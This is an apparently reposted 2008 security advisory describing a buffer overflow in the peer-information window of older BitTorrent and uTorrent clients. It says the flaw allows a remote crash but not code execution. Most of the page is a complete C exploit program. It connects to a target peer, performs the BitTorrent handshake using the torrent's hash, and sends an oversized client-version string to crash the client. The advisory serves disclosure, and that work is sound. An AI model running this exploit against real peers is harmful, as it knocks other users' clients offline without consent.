BitTorrent and UTorrent Peers Static Overflow
2008-01-19 13:35
519 查看
Summary |
BitTorrent and uTorrent are "the most used clients for the bittorrent protocol and are both built over the same code base derived by uTorrent". A static buffer overflow is present in both BitTorrent and uTorrent clients, this overflow would allow a remote attacker to crash the clients. |
Credit: The information has been provided by Luigi Auriemma. The original article can be found at: http://aluigi.altervista.org/adv/ruttorrent-adv.txt |
Details |
Would you like to scan your network for all the vulnerabilities on SecuriTeam.com, automatically, every day? Vulnerable Systems: * BitTorrent version 6.0 build 5535 and prior * uTorrent version 1.7.5 build 4602 and prior * uTorrent version 1.8-alpha-7834 and prior Immune Systems: * uTorrent version 1.7.6 build 7859 By default both the clients have the "Detailed Info" window active with the "General" section visible in it where are reported various informations about the status of the torrent and the trackers in use. In this same window near "General" there is also the "Peers" section which is very useful since it showes many informations about the other connected clients like the percentage of availability of the shared torrent, their IP address, country, speed and amount of downloaded and uploaded data and moreover the version of their client (like "BitTorrent 6.0", "Azureus 3.0.3.4", "uTorrent 1.7.5", "KTorrent 2.2.4" and so on). When this window is visualized by the user the unicode strings with the software versions of the connected clients are copied in the relative static buffers used for the visualization in the GUI through the wcscpy function. If this string is too long a crash will occur immediately or in some cases (like on BitTorrent) could happen later or when the user watches the status of another torrent or leaves the "Peers" window. Code execution is not possible. For exploiting the problem is enough that an external attacker connects to the random port opened on the client and sends the long client version and the SHA1 hash of the torrent currently in use and watched on the target. Note that all these parameters (client IP, port and torrent's hash) are publicly available on the tracker. Exploit: /* by Luigi Auriemma - http://aluigi.org/poc/ruttorrent.zip */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h> #include <ctype.h> #include <sys/stat.h> #include <openssl/sha.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #endif typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER "0.1" //#define PORT 6881 #define BUFFSZ 0xffff #define RESEXTBYTES "/x00/x00/x00/x00/x00/x10/x00/x01" #define BITPROTO "BitTorrent protocol" #define BOOMSZ 16599 // the max int hash_it(u8 *fname, u8 *hash); u8 *fdload(u8 *fname, int *len); int hex2bin(u8 *src, u8 *dst, int len); int bit_send(int sd, u8 *buff, int len); int tcp_recv(int sd, u8 *buff, int len); int putrn(u8 *data, int len); int putmm(u8 *data, u8 *str, int len); int putss(u8 *data, u8 *str); int putcc(u8 *data, int chr, int len); int getxx(u8 *data, u32 *ret, int bits); int putxx(u8 *data, u32 num, int bits); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, i, len; u16 port; u8 info_hash[20], *host, *hashtorrent, *buff, *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("/n" "BitTorrent <= 6.0 (build 5535) and uTorrent <= 1.7.5 (build 4602)/n" " Peers info GUI unicode overflow "VER"/n" "by Luigi Auriemma/n" "e-mail: aluigi@autistici.org/n" "web: aluigi.org/n" "/n", stdout); if(argc < 4) { printf("/n" "Usage: %s <hash/torrent> <host> <port>/n" "/n" "hash/torrent can be directly the SHA1 hash of the dictionary's field of the/n" "torrent file used in the target machine or just the torrent file on which this/n" "tool will /"try/" to calculate the hash, it's needed because the big client/n" "name will be placed (wcscpy+wcscat) in the window of that torrent/n" "/n" "Examples:/n" " ruttorrent file.torrent 127.0.0.1 6881/n" " ruttorrent 0123456789abcdef0123456789abcdef01234567 localhost 1234/n" "/n", argv[0]); exit(1); } hashtorrent = argv[1]; host = argv[2]; port = atoi(argv[3]); if(hash_it(hashtorrent, info_hash) < 0) { printf("- file not available, consider input as hash/n"); len = hex2bin(hashtorrent, info_hash, 20); if(len != 20) { printf("/nError: your dictionay SHA1 hash has a wrong length (%d)/n", len); exit(1); } } printf("- torrent's dictionary SHA1 hash: "); for(i = 0; i < 20; i++) printf("%02x", info_hash[i]); printf("/n"); peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu/n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); buff = malloc(BUFFSZ); if(!buff) std_err(); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); p = buff; p += putxx(p, strlen(BITPROTO), 8); // size of protocol name p += putss(p, BITPROTO); // protocol name p += putmm(p, RESEXTBYTES, 8); // reserved p += putmm(p, info_hash, 20); // info hash p += putrn(p, 20); // peer ID printf("- send /"%s/" packet/n", BITPROTO); if(send(sd, buff, p - buff, 0) < 0) goto quit; p = buff; p += putxx(p, 20, 8); p += putxx(p, 0, 8); p += sprintf(p, "d1:ei0e1:md6:ut_pexi1ee1:pi0e1:v%u:", BOOMSZ); p += putcc(p, 0xff, BOOMSZ); p += sprintf(p, "e"); printf("- send big client string/n"); if(bit_send(sd, buff, p - buff) < 0) goto quit; printf("- stay connected: "); for(;;) { len = recv(sd, buff, BUFFSZ, 0); if(len <= 0) break; fputc('.', stdout); } printf("/n- done/n"); close(sd); free(buff); return(0); quit: printf("/nError: something wrong during communication (wrong hash or port)/n"); close(sd); free(buff); return(1); } int hash_it(u8 *fname, u8 *hash) { SHA_CTX ctx; int len; u8 *filez, *p; filez = fdload(fname, &len); if(!filez) return(-1); p = strstr(filez, "4:infod"); // lame/wrong but fast and easy if(!p) { printf("/nError: no bencoded info section found/n"); exit(1); } p += 6; SHA1_Init(&ctx); SHA1_Update(&ctx, p, len - (p - filez) - 1); SHA1_Final(hash, &ctx); free(filez); return(0); } u8 *fdload(u8 *fname, int *len) { struct stat xstat; FILE *fd; u8 *ret; printf("- open %s/n", fname); fd = fopen(fname, "rb"); if(!fd) return(NULL); fstat(fileno(fd), &xstat); ret = malloc(xstat.st_size); if(!ret) std_err(); *len = fread(ret, 1, xstat.st_size, fd); fclose(fd); printf("- %d bytes loaded/n", *len); return(ret); } int hex2bin(u8 *src, u8 *dst, int len) { int c; u8 *i, *o, *l; i = src; o = dst; for(l = dst + len; *i && (o < l); i++) { c = tolower(*i); if(((c >= '0') && (c <= '9')) || ((c >= 'a') && (c <= 'f'))) { sscanf(i, "%02x", &c); *o++ = c; i++; } } return(o - dst); } int bit_send(int sd, u8 *buff, int len) { u8 tmp[4]; putxx(tmp, len, 32); if(send(sd, tmp, 4, 0) != 4) return(-1); if(send(sd, buff, len, 0) != len) return(-1); return(0); } int tcp_recv(int sd, u8 *buff, int len) { int t; u8 *p; for(p = buff; len; p += t, len -= t) { if(timeout(sd, 20) < 0) return(-1); t = recv(sd, p, len, 0); if(t <= 0) return(-1); } return(0); } int putrn(u8 *data, int len) { u32 rnd; int i; rnd = time(NULL); for(i = 0; i < len; i++) { rnd = (rnd * 0x343FD) + 0x269EC3; data[i] = rnd; } return(len); } int putmm(u8 *data, u8 *str, int len) { memcpy(data, str, len); return(len); } int putss(u8 *data, u8 *str) { int len; len = strlen(str); memcpy(data, str, len); return(len); } int putcc(u8 *data, int chr, int len) { memset(data, chr, len); return(len); } int getxx(u8 *data, u32 *ret, int bits) { u32 num; int i, bytes; bytes = bits >> 3; for(num = i = 0; i < bytes; i++) { num |= (data[i] << ((bytes - 1 - i) << 3)); } *ret = num; return(bytes); } int putxx(u8 *data, u32 num, int bits) { int i, bytes; bytes = bits >> 3; for(i = 0; i < bytes; i++) { data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff; } return(bytes); } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); } u32 resolv(char *host) { struct hostent *hp; u32 host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("/nError: Unable to resolv hostname (%s)/n", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("/nError"); exit(1); } #endif |
相关文章推荐
- Top-BT: An Infrastructure Free BitTorrent Client with Fast Download Time and Less Internet Traffic
- 8155/8156 2048-bit static MOS RAM with I/O ports and timer
- P2P system: FastTrack and BitTorrent
- 10 Tips and Tricks for Private BitTorrent Sites
- UDK: Lightmap Resolution for Static Meshes and BSP
- Bit-tricks and other nifty little snippets.
- IOS 封装上线 All object files and libraries for bitcode must be generated from.
- BitTorrent Sync
- Android NDK about Library (static library , share library and 3rd party library)
- Setup 64-bit Windows Server for Running ASP.NET 1.1 and ASP.NET 2.0 at the Same Time
- Siebel Tools: Create new LOV Type and Values & Create Static Picklist Using Tools
- Lock Entry and Lock Table Overflow Concept
- Microsoft BitLocker Administration and Monitoring安装 推荐
- Perl and XS: Example 3: Set::Bit
- iOS 5 Storyboard: How To use Segues, Scenes and Static Content UITableViews--Part I
- linux static and dynamic library
- What is the difference between const and static readonly?(const 和 static readonly 的区别?)
- BitTorrent协议规范(BitTorrent Protocol Specification)之Tracker HTTP/HTTPS Protocol-第三部分
- How-To: Install Google’s Android Eclipse plugin (and/or adb) on 64-bit Debian/Ubuntu
- Byte and Bit Order Dissection